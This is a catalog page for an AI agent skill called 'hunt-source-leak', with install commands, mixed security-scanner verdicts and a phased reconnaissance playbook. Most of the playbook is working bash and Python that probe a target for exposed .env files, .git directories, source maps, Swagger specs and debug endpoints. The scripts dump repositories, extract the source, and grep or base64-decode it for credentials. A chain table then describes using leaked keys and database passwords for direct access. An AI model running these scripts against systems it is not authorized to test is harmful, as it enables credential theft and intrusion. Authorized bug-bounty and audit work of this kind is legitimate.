hunt-source-leak
Hunt source code and build artifact leakage — JavaScript source maps (.js.map) reconstructing TypeScript/ES6 source, Swagger/OpenAPI JSON endpoint discovery, .env/.git exposure, webpack chunks with hardcoded secrets, robots.txt/security.txt recon, build-info files, asset-manifest.json API route discovery, .DS_Store file listing. Use at the START of every recon session — these findings often unlock the entire attack surface.
How do I install this agent skill?
npx skills add https://github.com/elementalsouls/claude-bughunter --skill hunt-source-leakIs this agent skill safe to install?
- Gen Agent Trust Hubpass
This skill is a security reconnaissance tool designed to help developers and security researchers identify source code and configuration leaks in web applications. While it performs sensitive operations like scanning for credentials and executing scripts to parse build artifacts, these actions are the primary purpose of the skill and target a user-specified environment. No malicious intent, obfuscation, or unauthorized data exfiltration were detected.
- Socketwarn
1 alert: gptSecurity
- Snykfail
Risk: CRITICAL · 3 issues
What does this agent skill do?
HUNT-SOURCE-LEAK — Source Code & Build Artifact Leakage
Crown Jewel Targets
Source map exposing TypeScript source = see all API routes, auth logic, secrets. Swagger/OpenAPI JSON = complete API surface map.
Highest-value findings:
.js.mapsource maps — reconstruct full TypeScript/ES6 source code → find hardcoded API keys, internal endpoints, auth logic bypassesswagger.json/openapi.json— complete REST API specification with all endpoints, parameters, auth schemes, and internal route names.env/.env.production— APP_KEY, DB_PASSWORD, API_KEY, SECRET_KEY in plaintext.git/exposure —git clonethe entire source history → all past hardcoded secretsasset-manifest.json/_next/static/— all JS bundle paths → systematic source map discoverybuild-info/info.json— git commit hash, build timestamp, dependency versions → CVE targeting
Phase 1 — Quick Wins (Run First)
# These 10 requests take <30 seconds and often yield Critical findings
for PATH in \
"/.env" \
"/.env.production" \
"/.env.local" \
"/.git/HEAD" \
"/swagger.json" \
"/api/swagger.json" \
"/v1/swagger.json" \
"/openapi.json" \
"/api/openapi.json" \
"/api-docs"; do
STATUS=$(curl -s -o /tmp/sl_test -w "%{http_code}" "https://$TARGET$PATH")
if [ "$STATUS" = "200" ]; then
echo "[+] HIT: https://$TARGET$PATH"
head -5 /tmp/sl_test
echo "---"
fi
done
Phase 2 — Source Map Discovery
Always resolve the CURRENT build hash before testing, and again before re-verifying. Bundle filenames are content-hashed, so they rotate on every deploy. A
.mapURL recorded yesterday can 404 today while the map is still fully exposed under a new name. A 404 at the old URL is not remediation — it is a new build.# ALWAYS derive the hash live, never reuse a recorded URL HASH=$(curl -s "https://$TARGET/" | grep -oE 'main\.[a-f0-9]+\.js' | head -1) curl -s -o /dev/null -w '%{http_code} %{size_download} %{content_type}\n' \ "https://$TARGET/static/js/${HASH}.map"Lesson from an authorized engagement. A large production map was found at
main.<hashA>.js.map. On re-verification that URL returned a small HTML soft-404 and the finding was nearly closed as fixed. The bundle had rotated tomain.<hashB>.js— and the map was still published atmain.<hashB>.js.map, same size. Nothing had been remediated.Tell the client this explicitly in the report: redeploying does not fix source map exposure. Only
GENERATE_SOURCEMAP=false(or stripping.mapat deploy) plus a CDN purge closes it. A team that redeploys and re-checks the old link will wrongly declare victory.Same rule applies to any content-hashed artifact: chunk files, CSS maps,
asset-manifest.json, and staging equivalents.
# Step 1: Get asset manifest to find all JS bundle paths
curl -s "https://$TARGET/asset-manifest.json" | python3 -m json.tool 2>/dev/null
curl -s "https://$TARGET/static/js/main.*.js" 2>/dev/null | head -3
# Next.js
BUILD_ID=$(curl -s https://$TARGET/ | grep -oP '"buildId":"\K[^"]+')
curl -s "https://$TARGET/_next/static/$BUILD_ID/_buildManifest.js" | head -5
# Step 2: For each JS bundle, check for source map reference at end of file
for JS_URL in $(curl -s https://$TARGET/ | grep -oP 'src="[^"]*\.js"' | sed 's/src="//;s/"//'); do
LAST_LINE=$(curl -s "https://$TARGET$JS_URL" | tail -1)
echo "$LAST_LINE" | grep -q "sourceMappingURL" && echo "[+] Source map: $JS_URL"
done
# Step 3: Download and reconstruct source from .map files
JS_URL="https://$TARGET/static/js/main.abc123.js"
MAP_URL="${JS_URL}.map"
curl -s "$MAP_URL" | python3 -c "
import sys, json, os
data = json.load(sys.stdin)
sources = data.get('sources', [])
contents = data.get('sourcesContent', [])
for i, (src, content) in enumerate(zip(sources, contents)):
if content:
path = '/tmp/sourcemap_extract/' + src.replace('../','').replace('./',''). replace('webpack://','')
os.makedirs(os.path.dirname(path), exist_ok=True)
with open(path, 'w') as f:
f.write(content)
print(f'[+] Extracted: {src}')
"
# Step 4: Grep extracted source for secrets
grep -r "API_KEY\|SECRET\|PASSWORD\|TOKEN\|PRIVATE" /tmp/sourcemap_extract/ 2>/dev/null
grep -r "process\.env\." /tmp/sourcemap_extract/ 2>/dev/null | grep -v "NEXT_PUBLIC_" | head -20
grep -r "http://internal\|localhost\|127\.0\.0\.1\|10\.\|172\.\|192\.168" /tmp/sourcemap_extract/ 2>/dev/null | head -20
Phase 3 — Swagger / OpenAPI Discovery
# Common paths
SWAGGER_PATHS=(
"/swagger.json" "/swagger.yaml" "/swagger/"
"/api/swagger.json" "/api/swagger.yaml"
"/v1/swagger.json" "/v2/swagger.json" "/v3/swagger.json"
"/openapi.json" "/openapi.yaml"
"/api/openapi.json" "/api-docs" "/api-docs.json"
"/api/v1/swagger.json" "/api/v2/swagger.json"
"/rest/swagger.json" "/rest/api-docs"
"/.well-known/openapi.json"
"/graphql/schema.json"
)
for PATH in "${SWAGGER_PATHS[@]}"; do
STATUS=$(curl -s -o /tmp/swagger_test -w "%{http_code}" "https://$TARGET$PATH")
if [ "$STATUS" = "200" ]; then
echo "[+] Found: https://$TARGET$PATH"
# Extract all API paths from swagger
python3 -c "
import sys, json
try:
d = json.load(open('/tmp/swagger_test'))
paths = list(d.get('paths', {}).keys())
print(f'Endpoints: {len(paths)}')
print('\n'.join(sorted(paths)))
except: pass
" | head -50
fi
done
Phase 4 — .git Exposure
# Check if .git directory is accessible
curl -s "https://$TARGET/.git/HEAD" | grep -q "ref:" && echo "[+] .git exposed!"
# If exposed, reconstruct repo
# Tool: git-dumper
pip3 install git-dumper
git-dumper "https://$TARGET/.git/" /tmp/dumped-repo/
# Grep for secrets in all git history
cd /tmp/dumped-repo && \
git log --all --oneline 2>/dev/null | head -20
git grep -i "password\|secret\|api_key\|token" $(git rev-list --all) 2>/dev/null | head -30
# trufflehog on git history
trufflehog git file:///tmp/dumped-repo/ 2>/dev/null | head -50
Phase 5 — Forgotten Files & Debug Endpoints
# Build artifacts and debug files
DEBUG_PATHS=(
"/build-info.json" "/build/build-info.json"
"/info" "/actuator/info" "/api/info"
"/version" "/api/version" "/_version"
"/health" "/status" "/ping"
"/robots.txt" "/security.txt" "/.well-known/security.txt"
"/sitemap.xml" "/manifest.json" "/browserconfig.xml"
"/crossdomain.xml" "/clientaccesspolicy.xml"
"/phpinfo.php" "/info.php" "/test.php"
"/server-status" "/server-info" "/.htaccess"
"/web.config" "/applicationHost.config"
"/WEB-INF/web.xml" "/META-INF/MANIFEST.MF"
"/package.json" "/composer.json" "/Gemfile"
"/Dockerfile" "/docker-compose.yml" "/.dockerenv"
)
for PATH in "${DEBUG_PATHS[@]}"; do
STATUS=$(curl -s -o /tmp/debug_test -w "%{http_code}" "https://$TARGET$PATH")
if [ "$STATUS" = "200" ]; then
echo "[+] Found: https://$TARGET$PATH ($STATUS, $(wc -c < /tmp/debug_test) bytes)"
head -3 /tmp/debug_test
echo "---"
fi
done
Phase 6 — .DS_Store File Listing
# .DS_Store files on macOS-deployed web servers reveal directory structure
curl -s "https://$TARGET/.DS_Store" | xxd | head -10
# Parse .DS_Store to extract filenames
pip3 install ds_store
python3 -c "
from ds_store import DSStore
with DSStore.open('/tmp/ds_store_test', 'r') as d:
for entry in d:
print(entry.filename)
"
# Recursive .DS_Store enumeration
# Tool: https://github.com/lijiejie/ds_store_exp
python3 ds_store_exp.py "https://$TARGET/"
Phase 7 — webpack Chunk Analysis
# Download and analyze webpack chunks for hardcoded values
# Find chunk files
curl -s https://$TARGET/ | grep -oP '"[^"]*\.chunk\.js"' | tr -d '"' | while read chunk; do
echo "Analyzing: $chunk"
curl -s "https://$TARGET$chunk" | \
grep -oE '"(api_key|apiKey|secret|password|token|key)"\s*:\s*"[^"]+"' | head -5
done
# Also grep for internal hostnames
curl -s "https://$TARGET/static/js/main.*.js" | \
grep -oE '"(https?://[^"]*internal[^"]*|http://[^"]*localhost[^"]*)"' | sort -u
# Check for Base64-encoded secrets
curl -s "https://$TARGET/static/js/main.*.js" | \
grep -oP '"[A-Za-z0-9+/]{30,}={0,2}"' | while read b64; do
DECODED=$(echo "$b64" | tr -d '"' | base64 -d 2>/dev/null)
echo "$DECODED" | grep -iE "key|secret|password|token" && echo " B64: $b64"
done
Chain Table
| Source leak finding | Chain to | Impact |
|---|---|---|
| Source map with API key | Use key directly → API access | High/Critical |
| Source map with auth logic | Find auth bypass route | Critical |
| Swagger → internal endpoints | Test undocumented admin routes | High |
| .git exposed | Full source history → all past secrets | Critical |
| build-info with git hash | CVE targeting exact version | High |
| .env with DB_PASSWORD | Direct database access | Critical |
Tools
# git-dumper (reconstruct exposed .git)
pip3 install git-dumper
git-dumper "https://target.com/.git/" /tmp/repo/
# sourcemap-explorer (visualize what's in bundles)
npm install -g source-map-explorer
source-map-explorer main.js
# unwebpack-sourcemap (extract all source files)
npm install -g unwebpack-sourcemap
# trufflehog (secret scanning)
trufflehog filesystem /tmp/repo/
Validation
✅ Source map: reconstructed TypeScript source contains API endpoints or hardcoded secrets ✅ Swagger: JSON contains internal endpoints not visible in UI ✅ .git exposed: git-dumper successfully clones repo, secrets in history ✅ .env exposed: DATABASE_URL, API_KEY, SECRET_KEY visible in plaintext
Severity:
- .env with credentials: Critical
- .git with secrets in history: Critical
- Source map with secrets: High
- Swagger with internal routes: Medium-High
- robots.txt only: Informational
How can the creator link this skill?
Add the canonical catalog link to the repository README so users can inspect current installs and available audits. The publishing guide covers the complete discovery path.
<a href="https://skillzs.dev/skills/elementalsouls/claude-bughunter/hunt-source-leak">View hunt-source-leak on skillZs</a>